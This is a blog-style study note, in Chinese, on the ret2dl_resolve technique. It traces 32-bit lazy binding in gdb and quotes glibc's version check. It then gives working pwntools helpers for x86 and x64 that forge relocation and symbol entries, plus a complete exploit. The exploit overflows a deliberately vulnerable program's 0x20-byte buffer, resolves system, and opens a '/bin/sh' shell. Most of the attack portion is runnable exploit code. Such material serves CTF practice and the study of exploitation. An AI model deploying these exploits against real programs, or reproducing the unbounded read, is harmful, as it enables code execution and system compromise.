ret2dl_resolve学习笔记

关于ret2dl_resolve这个技巧,很多前辈已经说的很详细了。

所以这里我只是简单的做个记录,不指望能讲的多好。

网络上前辈的教程:

http://rk700.github.io/2015/08/09/return-to-dl-resolve/
http://angelboy.logdown.com/posts/283218-return-to-dl-resolve
http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
https://github.com/inaz2/roputils/blob/master/roputils.py

参考了很多,才理解,我好菜啊。


x86

1
2
3
4
5
6
7
8
9
10
11
12
13
#gcc pwn.c -fno-stack-protector -m32 -o pwn
#include <unistd.h>
#include <string.h>
void fun(){
char buffer[0x20];
read(0,buffer,0x200);
}
int main(){
fun();
return 0;
}

假设有这样一个小程序。

执行read(0,buffer,0x200)的时候实际上发生了这些:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
//将三个参数压栈
0x8048414 <fun+9> push 0x200
0x8048419 <fun+14> lea eax, [ebp - 0x28]
0x804841c <fun+17> push eax
0x804841d <fun+18> push 0
//call到read的plt上
0x804841f <fun+20> call read@plt <0x80482e0>
//jmp到read的got表上的地址处,由于第一次调用(不知道lazy binding的自行了解),
//got值为read@plt+6,
0x80482e0 <read@plt> jmp dword ptr [_GLOBAL_OFFSET_TABLE_+12] <0x804a00c>
pwndbg> x/wx 0x804a00c
0x804a00c: 0x080482e6
//此时入栈的0是JMPREL段(对应 .rel.plt节)的read的Elf32_Rel的相对偏移,即rel_offset
0x80482e6 <read@plt+6> push 0
0x80482eb <read@plt+11> jmp 0x80482d0
//readelf中JMPREL段的地址
Dynamic section at offset 0xf14 contains 24 entries:
标记 类型 名称/值
0x00000017 (JMPREL) 0x8048298
//JMPREL段相应偏移处read的Elf32_Rel结构体
pwndbg> x/2wx 0x8048298+0
0x8048298: 0x0804a00c 0x00000107
//所对应的结构体
typedef uint32_t Elf32_Addr;
typedef uint32_t Elf32_Word;
typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;
#define ELF32_R_SYM(val) ((val) >> 8) #define ELF32_R_TYPE(val) ((val) & 0xff)
//所以r_offset为0x0804a00c,r_info为0x00000107
//r_info则保存的是其类型和符号序号。
//根据宏的定义,可知对于此条目,其类型为ELF32_R_TYPE(r_info)=7,对应于R_386_JUMP_SLOT;
//其symbol index则为RLF32_R_SYM(r_info)=1。
//以下为 RLF32_R_SYM的结构体
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility under glibc>=2.2 */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
//这个结构体存在SYMTAB段,对应.dynsym节中,RLF32_R_SYM为read的这个结构体在SYMTAB段的index
//readelf中SYMTAB段的地址
Dynamic section at offset 0xf14 contains 24 entries:
标记 类型 名称/值
0x00000006 (SYMTAB) 0x80481cc
0x0000000b (SYMENT) 16 (bytes)//单个结构体的大小
//内存中的结构体
pwndbg> x/4wx 0x80481cc+1*16
0x80481dc: 0x0000001a 0x00000000 0x00000000 0x00000012
//我们只需要关注st_name即可,此处st_name为0x0000001a ,即name在STRTAB段的偏移
//readelf中STRTAB段的地址
Dynamic section at offset 0xf14 contains 24 entries:
标记 类型 名称/值
0x00000005 (STRTAB) 0x804821c
//read的name
pwndbg> x/s 0x804821c+0x1a
0x8048236: "read"
//=============================
//综上,通过之前的push 0x0,我们得到了各个在dl_resolve必须用到的结构体,系统也是这样获取的。
//回到刚才的这两句代码继续...
0x80482e6 <read@plt+6> push 0
0x80482eb <read@plt+11> jmp 0x80482d0
//0x804a004即为GOT[0],0x804a008即为GOT[1]
//前者是link_map,后者是_dl_runtime_resolve的地址
pwndbg> x/2i 0x80482d0
0x80482d0: push DWORD PTR ds:0x804a004
0x80482d6: jmp DWORD PTR ds:0x804a008
//也就是最后程序调用了_dl_runtime_resolve(link_map, rel_offset);
//我们需要在某处构造好上述的结构体,就能将任意符号解析到任意地址了。

具体构造过程参考上述的几个博客,这里就不再赘述了。

不过这里有一个坑,就是version。由于我们一般把这个Elf32_Rel写在bss,所以rel_offset会很大,version处出现了错误,会导致程序终止。

https://code.woboq.org/userspace/glibc/elf/dl-runtime.c.html#82

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
82 /* Look up the target symbol. If the normal lookup rules are not
83 used don't look in the global scope. */
84 if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
85 {
86 const struct r_found_version *version = NULL;
87
88 if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
89 {
90 const ElfW(Half) *vernum =
91 (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
92 ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
93 version = &l->l_versions[ndx];
94 if (version->hash == 0)
95 version = NULL;
96 }
97
98 /* We need to keep the scope around so do some locking. This is
99 not necessary for objects which cannot be unloaded or when
100 we are not using any threads (yet). */
101 int flags = DL_LOOKUP_ADD_DEPENDENCY;
102 if (!RTLD_SINGLE_THREAD_P)
103 {
104 THREAD_GSCOPE_SET_FLAG ();
105 flags |= DL_LOOKUP_GSCOPE_LOCK;
106 }
107
108 #ifdef RTLD_ENABLE_FOREIGN_CALL
109 RTLD_ENABLE_FOREIGN_CALL;
110 #endif
111
112 result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
113 version, ELF_RTYPE_CLASS_PLT, flags, NULL);

要让version为0,一个比较稳的方法是构造ndx为0。

也就是这行:

1
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;

为了练习,我使用pwntools的模块,仿造roputils写了一个ret2dl_resolve的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
def ret2dl_resolve_x86(ELF_obj,func_name,resolve_addr,fake_stage,do_slim=1):
jmprel = ELF_obj.dynamic_value_by_tag("DT_JMPREL")#rel_plt
relent = ELF_obj.dynamic_value_by_tag("DT_RELENT")
symtab = ELF_obj.dynamic_value_by_tag("DT_SYMTAB")#dynsym
syment = ELF_obj.dynamic_value_by_tag("DT_SYMENT")
strtab = ELF_obj.dynamic_value_by_tag("DT_STRTAB")#dynstr
versym = ELF_obj.dynamic_value_by_tag("DT_VERSYM")#version
plt0 = ELF_obj.get_section_by_name('.plt').header.sh_addr
p_name = fake_stage+8-strtab
len_bypass_version = 8-(len(func_name)+1)%0x8
sym_addr_offset = fake_stage+8+(len(func_name)+1)+len_bypass_version-symtab
if sym_addr_offset%0x10 != 0:
if sym_addr_offset%0x10 == 8:
len_bypass_version+=8
sym_addr_offset = fake_stage+8+(len(func_name)+1)+len_bypass_version-symtab
else:
error('something error!')
fake_sym = sym_addr_offset/0x10
while True:
fake_ndx = u16(ELF_obj.read(versym+fake_sym*2,2))
if fake_ndx != 0:
fake_sym+=1
len_bypass_version+=0x10
continue
else:
break
if do_slim:
slim = len_bypass_version - len_bypass_version%8
version = len_bypass_version%8
resolve_data,resolve_call=ret2dl_resolve_x86(ELF_obj,func_name,resolve_addr,fake_stage+slim,0)
return (resolve_data,resolve_call,fake_stage+slim)
fake_r_info = fake_sym<<8|0x7
reloc_offset=fake_stage-jmprel
resolve_data = p32(resolve_addr)+p32(fake_r_info)+func_name+'\x00'
resolve_data += 'a'*len_bypass_version
resolve_data += p32(p_name)+p32(0)+p32(0)+p32(0x12)
resolve_call = p32(plt0)+p32(reloc_offset)
return (resolve_data,resolve_call)

来简单的pwn一下上面那个小程序吧。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']
cn = process('./pwn5_2')
binary = ELF('./pwn5_2')
def z(a=''):
gdb.attach(cn,a)
if a=='':
raw_input()
def ret2dl_resolve_x86(ELF_obj,func_name,resolve_addr,fake_stage,do_slim=1):
jmprel = ELF_obj.dynamic_value_by_tag("DT_JMPREL")#rel_plt
relent = ELF_obj.dynamic_value_by_tag("DT_RELENT")
symtab = ELF_obj.dynamic_value_by_tag("DT_SYMTAB")#dynsym
syment = ELF_obj.dynamic_value_by_tag("DT_SYMENT")
strtab = ELF_obj.dynamic_value_by_tag("DT_STRTAB")#dynstr
versym = ELF_obj.dynamic_value_by_tag("DT_VERSYM")#version
plt0 = ELF_obj.get_section_by_name('.plt').header.sh_addr
p_name = fake_stage+8-strtab
len_bypass_version = 8-(len(func_name)+1)%0x8
sym_addr_offset = fake_stage+8+(len(func_name)+1)+len_bypass_version-symtab
if sym_addr_offset%0x10 != 0:
if sym_addr_offset%0x10 == 8:
len_bypass_version+=8
sym_addr_offset = fake_stage+8+(len(func_name)+1)+len_bypass_version-symtab
else:
error('something error!')
fake_sym = sym_addr_offset/0x10
while True:
fake_ndx = u16(ELF_obj.read(versym+fake_sym*2,2))
if fake_ndx != 0:
fake_sym+=1
len_bypass_version+=0x10
continue
else:
break
if do_slim:
slim = len_bypass_version - len_bypass_version%8
version = len_bypass_version%8
resolve_data,resolve_call=ret2dl_resolve_x86(ELF_obj,func_name,resolve_addr,fake_stage+slim,0)
return (resolve_data,resolve_call,fake_stage+slim)
fake_r_info = fake_sym<<8|0x7
reloc_offset=fake_stage-jmprel
resolve_data = p32(resolve_addr)+p32(fake_r_info)+func_name+'\x00'
resolve_data += 'a'*len_bypass_version
resolve_data += p32(p_name)+p32(0)+p32(0)+p32(0x12)
resolve_call = p32(plt0)+p32(reloc_offset)
return (resolve_data,resolve_call)
p1ret = 0x080482c9
p3ret = 0x080484a9
stage = binary.bss()
dl_data,dl_call,stage = ret2dl_resolve_x86(binary,'system',binary.bss()+0x200,stage)
pay = 'a'*40 + 'bbbb'
pay += p32(binary.plt['read'])+p32(p3ret)+p32(0)+p32(stage)+p32(len(dl_data)+8)
pay += dl_call
pay += p32(p1ret)+p32(stage+len(dl_data))
cn.sendline(pay)
sleep(0.1)
#z('b _dl_runtime_resolve\nb _dl_fixup\nc')
cn.send(dl_data+'/bin/sh\x00')
cn.interactive()

x64

大体上一致,也是构造结构体。但是结构体的大小以及有些元素的顺序发生了变化。

可以参考上面几篇文章的方法。

我也写了一个x64版的ret2dl_resolve函数来学习。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def ret2dl_resolve_x64(ELF_obj,func_name,resolve_addr,fake_stage):
# prerequisite:
# 1) overwrite (link_map + 0x1c8) with NULL
# 2) set registers for arguments
jmprel = ELF_obj.dynamic_value_by_tag("DT_JMPREL")#rel_plt
relaent = ELF_obj.dynamic_value_by_tag("DT_RELAENT")
symtab = ELF_obj.dynamic_value_by_tag("DT_SYMTAB")#dynsym
syment = ELF_obj.dynamic_value_by_tag("DT_SYMENT")
strtab = ELF_obj.dynamic_value_by_tag("DT_STRTAB")#dynstr
versym = ELF_obj.dynamic_value_by_tag("DT_VERSYM")#version
plt0 = ELF_obj.get_section_by_name('.plt').header.sh_addr
got0 = ELF_obj.get_section_by_name('.got.plt').header.sh_addr
p_link_map = got0+8
padding_to_JMPREL = relaent - (fake_stage-jmprel)%relaent
reloc_offset=(fake_stage+padding_to_JMPREL-jmprel)/relaent
padding_to_SYMTAB = relaent - (fake_stage+padding_to_JMPREL+relaent-symtab)%relaent
fake_sym = (fake_stage+padding_to_JMPREL+relaent+padding_to_SYMTAB-symtab)/relaent
fake_r_info = fake_sym<<32|0x7
p_name = fake_stage+padding_to_JMPREL+padding_to_SYMTAB+relaent*2-strtab
resolve_data = 'a'*padding_to_JMPREL
resolve_data += p64(resolve_addr)+p64(fake_r_info)+p64(0)
resolve_data += 'b'*padding_to_SYMTAB
resolve_data += p32(p_name)+p32(0x12)+p64(0)+p64(0)
resolve_data += func_name+'\x00'
resolve_call = p64(plt0)+p64(reloc_offset)
return (resolve_data,resolve_call)